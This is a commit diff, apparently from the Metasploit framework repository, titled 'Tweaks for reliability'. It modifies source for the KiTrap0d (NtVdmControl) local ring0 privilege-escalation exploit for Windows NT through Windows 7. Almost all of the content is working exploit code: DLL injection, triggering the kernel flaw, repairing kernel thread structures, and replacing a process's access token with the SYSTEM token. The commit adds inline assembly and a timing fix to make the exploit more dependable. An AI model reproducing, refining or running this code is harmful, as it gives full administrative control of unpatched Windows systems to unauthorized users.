Tweaks for reliability
git-svn-id: file:///home/svn/framework3/trunk@8226 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
37c1441c6c
commit
9f37906ba9
|
@ -115,11 +115,11 @@ int main(int argc, char **argv)
|
||||||
HANDLE VdmHandle;
|
HANDLE VdmHandle;
|
||||||
HANDLE RemoteThread;
|
HANDLE RemoteThread;
|
||||||
DWORD ShellPid = 0;
|
DWORD ShellPid = 0;
|
||||||
DWORD KillPid = 0;
|
DWORD KillPid = 0;
|
||||||
DWORD ThreadCode;
|
DWORD ThreadCode;
|
||||||
DWORD KernelBase;
|
DWORD KernelBase;
|
||||||
TCHAR VDMPath[_MAX_PATH];
|
TCHAR VDMPath[_MAX_PATH];
|
||||||
TCHAR CMDPath[_MAX_PATH];
|
TCHAR CMDPath[_MAX_PATH];
|
||||||
CHAR Buf[32];
|
CHAR Buf[32];
|
||||||
DWORD Offset;
|
DWORD Offset;
|
||||||
|
|
||||||
|
@ -148,23 +148,8 @@ int main(int argc, char **argv)
|
||||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
||||||
goto finished;
|
goto finished;
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
|
|
||||||
// Spawn the process as a placeholder, no idea why this is needed yet (BSOD w/o).
|
|
||||||
LogMessage(L_INFO, "Spawning a shell to make the process happy (ignore this)");
|
|
||||||
|
|
||||||
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
|
|
||||||
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
|
|
||||||
goto finished;
|
|
||||||
}
|
|
||||||
KillPid = ShellPid;
|
|
||||||
ShellPid = atoi(argv[1]);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Dance around a consistent BSOD if we don't wait
|
|
||||||
LogMessage(L_INFO, "Waiting two seconds while the child process initializes...");
|
|
||||||
Sleep(2000);
|
|
||||||
|
|
||||||
// Scan kernel image for the required code sequence, and find the base address.
|
// Scan kernel image for the required code sequence, and find the base address.
|
||||||
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
|
||||||
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
|
||||||
|
@ -192,11 +177,13 @@ int main(int argc, char **argv)
|
||||||
goto finished;
|
goto finished;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Wait for the thread to complete
|
// Wait for the thread to complete
|
||||||
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
|
||||||
|
|
||||||
WaitForSingleObject(RemoteThread, INFINITE);
|
WaitForSingleObject(RemoteThread, INFINITE);
|
||||||
|
|
||||||
|
|
||||||
// I pass some information back via the exit code to indicate what happened.
|
// I pass some information back via the exit code to indicate what happened.
|
||||||
GetExitCodeThread(RemoteThread, &ThreadCode);
|
GetExitCodeThread(RemoteThread, &ThreadCode);
|
||||||
|
|
||||||
|
@ -235,7 +222,7 @@ int main(int argc, char **argv)
|
||||||
case 'w00t':
|
case 'w00t':
|
||||||
// This means the exploit payload was executed at ring0 and succeeded.
|
// This means the exploit payload was executed at ring0 and succeeded.
|
||||||
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
|
||||||
if(! KillPid)
|
if(! KillPid)
|
||||||
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
|
@ -359,6 +346,7 @@ static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE Re
|
||||||
RemotePage,
|
RemotePage,
|
||||||
0,
|
0,
|
||||||
NULL);
|
NULL);
|
||||||
|
CloseHandle(ProcessHandle);
|
||||||
|
|
||||||
return *RemoteThread != NULL;
|
return *RemoteThread != NULL;
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
//
|
//
|
||||||
// --------------------------------------------------
|
// --------------------------------------------------
|
||||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
|
||||||
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
// -------------------------------------------- taviso@sdf.lonestar.org ---
|
||||||
|
@ -12,6 +12,11 @@
|
||||||
// This file contains the exploit payload and VDM Subsystem control routines.
|
// This file contains the exploit payload and VDM Subsystem control routines.
|
||||||
//
|
//
|
||||||
|
|
||||||
|
// This file has been modified from the original:
|
||||||
|
// * The CurrentThread is now much more precise thanks to research/code from Pusscat
|
||||||
|
// * The Sleep(1000) call before triggering the bug avoids a rare race condition in thread initialization
|
||||||
|
// * The ZwTerminateProcess path has been updated to flip back to the kernel stack first
|
||||||
|
|
||||||
#ifndef WIN32_NO_STATUS
|
#ifndef WIN32_NO_STATUS
|
||||||
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
|
||||||
#endif
|
#endif
|
||||||
|
@ -63,6 +68,8 @@ static HMODULE KernelHandle;
|
||||||
# define PAGE_SIZE 0x1000
|
# define PAGE_SIZE 0x1000
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
|
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
|
||||||
enum { VdmStartExecution = 0, VdmInitialize = 3 };
|
enum { VdmStartExecution = 0, VdmInitialize = 3 };
|
||||||
|
|
||||||
|
@ -70,20 +77,30 @@ VOID FirstStage();
|
||||||
BOOL InitializeVdmSubsystem();
|
BOOL InitializeVdmSubsystem();
|
||||||
PVOID KernelGetProcByName(PSTR);
|
PVOID KernelGetProcByName(PSTR);
|
||||||
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
|
||||||
|
BOOL CheckAndReplace(PDWORD, DWORD, DWORD, DWORD);
|
||||||
|
|
||||||
|
DWORD ethreadOffsets[] = { 0x6, // WinXP SP3, VistaSP2
|
||||||
|
0xA // Windows 7, VistaSP1
|
||||||
|
};
|
||||||
|
|
||||||
// This routine is where I land after successfully triggering the vulnerability.
|
// This routine is where I land after successfully triggering the vulnerability.
|
||||||
VOID FirstStage()
|
VOID FirstStage()
|
||||||
{
|
{
|
||||||
FARPROC DbgPrint;
|
FARPROC DbgPrint;
|
||||||
FARPROC PsGetCurrentThread;
|
FARPROC PsGetCurrentThread;
|
||||||
|
FARPROC PsGetCurrentProcessId;
|
||||||
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
|
||||||
FARPROC PsLookupProcessByProcessId;
|
FARPROC PsLookupProcessByProcessId;
|
||||||
FARPROC PsReferencePrimaryToken;
|
FARPROC PsReferencePrimaryToken;
|
||||||
FARPROC ZwTerminateProcess;
|
FARPROC ZwTerminateProcess;
|
||||||
|
PVOID CurrentProcess;
|
||||||
PVOID CurrentThread;
|
PVOID CurrentThread;
|
||||||
PVOID TargetProcess, *PsInitialSystemProcess;
|
PVOID TargetProcess, *PsInitialSystemProcess;
|
||||||
DWORD StackBase, StackLimit;
|
DWORD StackBase, StackLimit, NewStack;
|
||||||
DWORD i;
|
DWORD i;
|
||||||
|
LIST_ENTRY *ThreadListHead;
|
||||||
|
HANDLE pid;
|
||||||
|
DWORD pret;
|
||||||
|
|
||||||
// Keep interrupts off until I've repaired my KTHREAD.
|
// Keep interrupts off until I've repaired my KTHREAD.
|
||||||
__asm cli
|
__asm cli
|
||||||
|
@ -91,6 +108,7 @@ VOID FirstStage()
|
||||||
// Resolve some routines I need from the kernel export directory
|
// Resolve some routines I need from the kernel export directory
|
||||||
DbgPrint = KernelGetProcByName("DbgPrint");
|
DbgPrint = KernelGetProcByName("DbgPrint");
|
||||||
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
|
||||||
|
PsGetCurrentProcessId = KernelGetProcByName("PsGetCurrentProcessId");
|
||||||
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
|
||||||
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
|
||||||
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
|
||||||
|
@ -102,34 +120,30 @@ VOID FirstStage()
|
||||||
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
|
||||||
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
StackBase = (DWORD) PsGetCurrentThreadStackBase();
|
||||||
|
|
||||||
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
|
//DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n",
|
||||||
CurrentThread,
|
// CurrentThread,
|
||||||
StackBase,
|
// StackBase,
|
||||||
StackLimit);
|
// StackLimit);
|
||||||
|
|
||||||
|
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||||
|
|
||||||
// First I need to repair my CurrentThread, find all references to my fake kernel
|
// First I need to repair my CurrentThread, find all references to my fake kernel
|
||||||
// stack and repair them. Note that by "repair" I mean randomly point them
|
// stack and repair them. Note that by "repair" I mean randomly point them
|
||||||
// somewhere inside the real stack.
|
// somewhere inside the real stack.
|
||||||
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
|
|
||||||
&KernelStackPointer[0],
|
|
||||||
&KernelStackPointer[KernelStackSize - 1],
|
|
||||||
CurrentThread);
|
|
||||||
|
|
||||||
// For every stack location, try to find all references to it in my
|
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||||
// CurrentThread.
|
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||||
for (i = 0; i < KernelStackSize; i++) {
|
for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) {
|
||||||
// The size of this structure varies between kernels, whats the maximum
|
CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]),
|
||||||
// size likely to be?
|
(DWORD) &KernelStackPointer[0],
|
||||||
CONST DWORD MaxExpectedEthreadSize = 0x200;
|
(DWORD) &KernelStackPointer[KernelStackSize - 1],
|
||||||
|
(DWORD) NewStack);
|
||||||
// Find and repair all references to this location
|
}
|
||||||
while (FindAndReplaceMember((PDWORD) CurrentThread,
|
|
||||||
(DWORD) &KernelStackPointer[i],
|
// DbgPrint("CurrentProcess: 0x%.8x (newstack: 0x%.8x\n", CurrentProcess, NewStack);
|
||||||
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
|
// ThreadListHead = (LIST_ENTRY *) ((unsigned char *)CurrentProcess) + 0x190;
|
||||||
MaxExpectedEthreadSize,
|
|
||||||
FALSE))
|
//DbgPrint("ThreadListHead[1]: FLink:0x%.8x, BLink:0x%.8x\n", ThreadListHead->Flink, ThreadListHead->Blink);
|
||||||
;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Find the EPROCESS structure for the process I want to escalate
|
// Find the EPROCESS structure for the process I want to escalate
|
||||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||||
|
@ -139,15 +153,15 @@ VOID FirstStage()
|
||||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||||
|
|
||||||
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
|
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||||
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
|
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||||
|
|
||||||
// Find the Token object for my target process, and the SYSTEM process.
|
// Find the Token object for my target process, and the SYSTEM process.
|
||||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||||
|
|
||||||
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||||
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||||
|
|
||||||
// Find the token in the target process, and replace with the system token.
|
// Find the token in the target process, and replace with the system token.
|
||||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||||
|
@ -155,21 +169,28 @@ VOID FirstStage()
|
||||||
(DWORD) SystemToken,
|
(DWORD) SystemToken,
|
||||||
MaxExpectedEprocessSize,
|
MaxExpectedEprocessSize,
|
||||||
TRUE);
|
TRUE);
|
||||||
|
// Success
|
||||||
// Success, try to terminate the current process.
|
pret = 'w00t';
|
||||||
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
|
|
||||||
} else {
|
} else {
|
||||||
// Maybe the user closed the window?
|
// Maybe the user closed the window?
|
||||||
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
|
|
||||||
|
|
||||||
// Report this failure
|
// Report this failure
|
||||||
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
|
pret = 'LPID';
|
||||||
}
|
}
|
||||||
|
|
||||||
// Oops, Something went wrong, restore interrupts and spin here.
|
__asm {
|
||||||
__asm sti
|
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||||
|
mov ebx, NewStack
|
||||||
for (;;) __asm pause
|
mov ecx, pret
|
||||||
|
mov edi, ZwTerminateProcess
|
||||||
|
mov esp, ebx // Swap the stack back to kernel-land
|
||||||
|
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||||
|
sub esp, 256
|
||||||
|
push ecx // Push the return code
|
||||||
|
push eax // Push the process handle
|
||||||
|
sti // Restore interrupts finally
|
||||||
|
call edi // Call ZwTerminateProcess
|
||||||
|
__emit 0xCC; // Hope we never end up here
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Search the specified data structure for a member with CurrentValue.
|
// Search the specified data structure for a member with CurrentValue.
|
||||||
|
@ -192,6 +213,8 @@ BOOL FindAndReplaceMember(PDWORD Structure,
|
||||||
for (i = 0; i < MaxSize; i++) {
|
for (i = 0; i < MaxSize; i++) {
|
||||||
if ((Structure[i] & Mask) == CurrentValue) {
|
if ((Structure[i] & Mask) == CurrentValue) {
|
||||||
// And finally, replace it with NewValue.
|
// And finally, replace it with NewValue.
|
||||||
|
if (ObjectRefs == FALSE)
|
||||||
|
__asm int 3
|
||||||
Structure[i] = NewValue;
|
Structure[i] = NewValue;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
@ -201,6 +224,15 @@ BOOL FindAndReplaceMember(PDWORD Structure,
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) {
|
||||||
|
if (*checkMe >= rangeStart && *checkMe <= rangeEnd) {
|
||||||
|
*checkMe = value;
|
||||||
|
return TRUE;
|
||||||
|
} else {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Find an exported kernel symbol by name.
|
// Find an exported kernel symbol by name.
|
||||||
PVOID KernelGetProcByName(PSTR SymbolName)
|
PVOID KernelGetProcByName(PSTR SymbolName)
|
||||||
{
|
{
|
||||||
|
@ -216,7 +248,7 @@ PVOID KernelGetProcByName(PSTR SymbolName)
|
||||||
ImageBase = (PUCHAR) KernelHandle;
|
ImageBase = (PUCHAR) KernelHandle;
|
||||||
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
|
||||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
|
||||||
+ PeHeader->OptionalHeader
|
+ PeHeader->OptionalHeader
|
||||||
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||||
. VirtualAddress);
|
. VirtualAddress);
|
||||||
|
@ -263,7 +295,7 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
||||||
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
FillMemory(&KernelStack, sizeof KernelStack, 'K');
|
||||||
|
|
||||||
// Parent passes parameters via environment variables.
|
// Parent passes parameters via environment variables.
|
||||||
//
|
//
|
||||||
// - VDM_TARGET_PID
|
// - VDM_TARGET_PID
|
||||||
// Pid of the process to transplant a SYSTEM token onto.
|
// Pid of the process to transplant a SYSTEM token onto.
|
||||||
// - VDM_TARGET_OFF
|
// - VDM_TARGET_OFF
|
||||||
|
@ -298,6 +330,10 @@ BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
|
||||||
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||||
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||||
|
|
||||||
|
// Allow thread initialization to complete. Without is, there is a chance
|
||||||
|
// of a race in KiThreadInitialize's call to SwapContext
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
// Trigger the vulnerable code via NtVdmControl().
|
// Trigger the vulnerable code via NtVdmControl().
|
||||||
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
|
||||||
NtVdmControl(VdmStartExecution, NULL);
|
NtVdmControl(VdmStartExecution, NULL);
|
||||||
|
|
Loading…
Reference in New Issue